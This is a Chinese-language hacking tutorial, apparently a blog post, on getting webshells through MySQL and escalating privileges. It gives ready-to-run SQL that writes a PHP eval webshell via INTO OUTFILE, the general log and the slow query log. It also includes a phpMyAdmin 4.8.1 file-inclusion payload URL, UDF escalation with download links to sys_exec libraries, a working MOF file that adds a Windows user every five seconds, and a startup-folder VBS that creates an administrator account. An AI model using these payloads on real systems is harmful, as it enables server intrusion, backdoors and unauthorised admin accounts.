本文内容:

  • Mysql的getshell方法
    • SELECT…INTO OUTFILE
    • general_log
    • slow_query_log
    • phpMyAdmin
  • Mysql提权
    • UDF提权
    • MOF提权
    • 启动项提权

Getshell

SELECT “CONTNETS” INTO OUTFILE “FILENAME”

满足条件:

  • 没有运行在secure-file-priv模式下
  • Web目录有读写权限
  • 没有被过滤单双引号
  • 知道Web的物理绝对路径

官方文档:

SELECT ... INTO OUTFILE writes the selected rows to a file. Column and line terminators can be specified to produce a specific output format.

The SELECT ... INTO OUTFILE 'file_name' form of SELECT writes the selected rows to a file. The file is created on the server host, so you must have the FILE privilege to use this syntax. file_name cannot be an existing file, which among other things prevents files such as /etc/passwd and database tables from being destroyed. The character_set_filesystem system variable controls the interpretation of the file name.

The SELECT ... INTO OUTFILE statement is intended primarily to let you very quickly dump a table to a text file on the server machine. If you want to create the resulting file on some other host than the server host, you normally cannot use SELECT ... INTO OUTFILEsince there is no way to write a path to the file relative to the server host’s file system.

查看安全设置:

secure_file_priv可以设置三个参数:空,NULL,filepath

参数说明:

  • 空值:设置为空时,没有进行安全配置,那么这模式下应该就可以导出webshell
  • NULL:设置本参数值时,数据库不能进行导入导出
  • filepath:filepath是导入导出的文件路径,设置这个值,那么只能导出文件到filepath的路径。

这里需要满足secure_file_priv为空或者为web路径才可以进行读写操作

如果不为空可在my.ini配置文件中加上secure_file_priv =即可(但都能修改配置文件了还需要写入木马?

如果目录不可写的话会出现以下错误:

这时候给目录附上读写权限即可

可以看到成功在Web目录下写下一句话

使用log写入Shell

满足条件:

  • 数据库为root权限
  • Web目录可写
  • 知道Web的物理绝对路径

首先开启mysql的日志记录模式

首先查看一下日志的配置:

show variables like '%general%';

打开日志记录

set global general_log='on';

然后改变日志的路径

set global general_log_file='/Applications/MAMP/htdocs/mysql_shell.php';

然后直接查询一句话木马(如果服务器有狗的话,需要写入免杀的马)

可以看到成功写入shell

最后记得关闭日志模式即可

set global general_log='off';

PHPMyAdmin包含数据库文件getshell

首先查询数据库文件的存储地址:

show global variables like "%datadir%";

其中的.frm即为我们的数据库文件

这里我们新建一个数据库mysql_shell,然后新建一个表mysql_shell

给其中的一个字段写上我们的一句话木马

这里我没有PHPMyAdmin4.8.x环境,下载一个新的4.8.1环境

mysql_shell库中新建个mysql_shell表,然后字段写上我们的一句话马

然后查询数据库文件地址

show global VARIABLES like "%datadir%"

然后直接老套路包含即可

/index.php?target=db_sql.php%3f/../../../../../../../../../../../../../../Library/Application Support/appsolute/MAMP PRO/db/mysql57/mysql_shell/mysql_shell.frm&a=phpinfo();

这里只能用GET马,POST好像不太行,但可以直接传大马

还有,那个.frm文件必须要有权限才可以包含!!

PHPMyaAdmin 本地SESSION包含getshell

这里需要得知session.save_path,可以在php.ini中看到

不过一般默认为/tmp路径下

然后查看我们目录下的session.save_path下,的确存在这个session文件

直接包含这个session文件即可

这里需要注意的是,他会执行你在这个会话中所有的PHP语句

比如我之前写入过<?php phpinfo(); ?>,他就会执行

所以说建议最新的命令后面加个exit();来停止后面命令的解析,否则加载起来太卡了。。

慢日志getshell

官方文档:

大概意思是会记录超过限定查询时间的查询语句到一个特定的慢查询日志当中

这里查询一下全局配置

show GLOBAL VARIABLES like "%slow%";

可以看到我们可以设置查询时间以及日志的路径

首先启用慢查询日志

set GLOBAL slow_query_log=on;

然后修改慢日志路径

set global slow_query_log_file = '/Applications/MAMP/htdocs/mysql_shell.php';

这时候用sleep(5)来延迟查询

select "<?php eval($_POST['a2u13']); ?>" from mysql.db where sleep(10);

可以看到查询被写入了慢日志当中

成功getshell

提权

UDF提权

UDF简介:https://www.cnblogs.com/ghc666/p/8609067.html

Linux

UDF提权需要数据库在root权限在才可以进行提权!!

UDF提权需要数据库在root权限在才可以进行提权!!

UDF提权需要数据库在root权限在才可以进行提权!!

而且在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止

适用于Linux 64位UDF的so文件
http://a2u13-pic.oss-accelerate.aliyuncs.com/annex/lib_mysqludf_sys64.so

适用于Linux 32位UDF的so文件
http://a2u13-pic.oss-accelerate.aliyuncs.com/annex/lib_mysqludf_sys32.so

64位支持的自定义函数如下:

32位支持的自定义函数如下:

一般使用以下几个函数:

  • sys_eval - executes an arbitrary command, and returns it’s output.
  • sys_exec - executes an arbitrary command, and returns it’s exit code.
  • sys_get - gets the value of an environment variable.
  • sys_set - create an environment variable, or update the value of an existing environment variable.

首先查看插件库路径:

show variables like "%plugin_dir%";

这里要满足对plugin_dir的写入权限

这里如果目录可控,则可以直接吧so文件上传到插件目录下

否则需要使用十六进制查询将文件写入plugin目录下

select unhex('7F454C46020...') into dumpfile 'plugin_dir/mysqludf.so';

十六进制可通过hexdump等工具获得

也可以通过以下语句保存到本地文件当中

select hex(load_file('lib_mysqludf_sys.so')) into outfile 'udf_hex.txt';

写入之后加载自定义函数

create function sys_eval returns string soname "mysqludf.so";

最后执行命令即可

select sys_eval('whoami');

Windows

适用于Linux 64位UDF的dll链接库

http://a2u13-pic.oss-accelerate.aliyuncs.com/annex/lib_mysqludf_sys64.dll

适用于Linux 32位UDF的dll链接库

http://a2u13-pic.oss-accelerate.aliyuncs.com/annex/lib_mysqludf_sys632.dll

Windows下提权的条件:

  • 如果mysql版本大于5.1,lib_mysqludf_sys64.dll文件必须放置在plugin文件夹下
  • 如果mysql版本小于5.1,lib_mysqludf_sys64.dll文件在Windows Server 2003下放置于c:\windows\system32目录,在Windows Server 2000下放置在c:\winnt\system32目录中

可以通过INTO DUMPFILE写入,但一般会有secure_file_priv的限制,还不如直接用webshell传到plugin目录下

剩下的与LinuxUDF提权的步骤一致

只不过要注意系统是32位还是64位的,以及Mysql的版本号(使用select @@version;来查询版本号)

MOF提权(只用于Windows)

MOF概念与提权原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

利用条件:

  • Windows 03及以下版本

  • mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录

  • secure-file-priv参数不为NULL

这里附上可用的MOF文件:

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user a2u13 666666 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

将这段代码INTO DUMPFILEc:/windows/system32/wbem/mof/nullevt.mof

此时会每隔五秒生成一个a2u13的用户,密码为666666

当然也可以自己修改命令执行

ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user a2u13 666666 /add\")";
};

启动项提权

原理其实是一致的,都是把VBS脚本写入到开机自启的文件夹中,从而实现提权

满足条件:

  • mysqlroot权限
  • secure_file_priv为空
create database udfs;
use udfs;
create table udf (cmd text);
insert into udf values ("set wshshell=createobject (""wscript.shell"") " );
insert into udf values ("a=wshshell.run (""cmd.exe /c net user a2u13 666666 /add"",0) " );
insert into udf values ("b=wshshell.run (""cmd.exe /c net localgroup administrators a2u13 /add"",0) " );
select * from udf into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\udf.vbs";

这里就不加数据库存在判断了,自己也可以修改库名和表名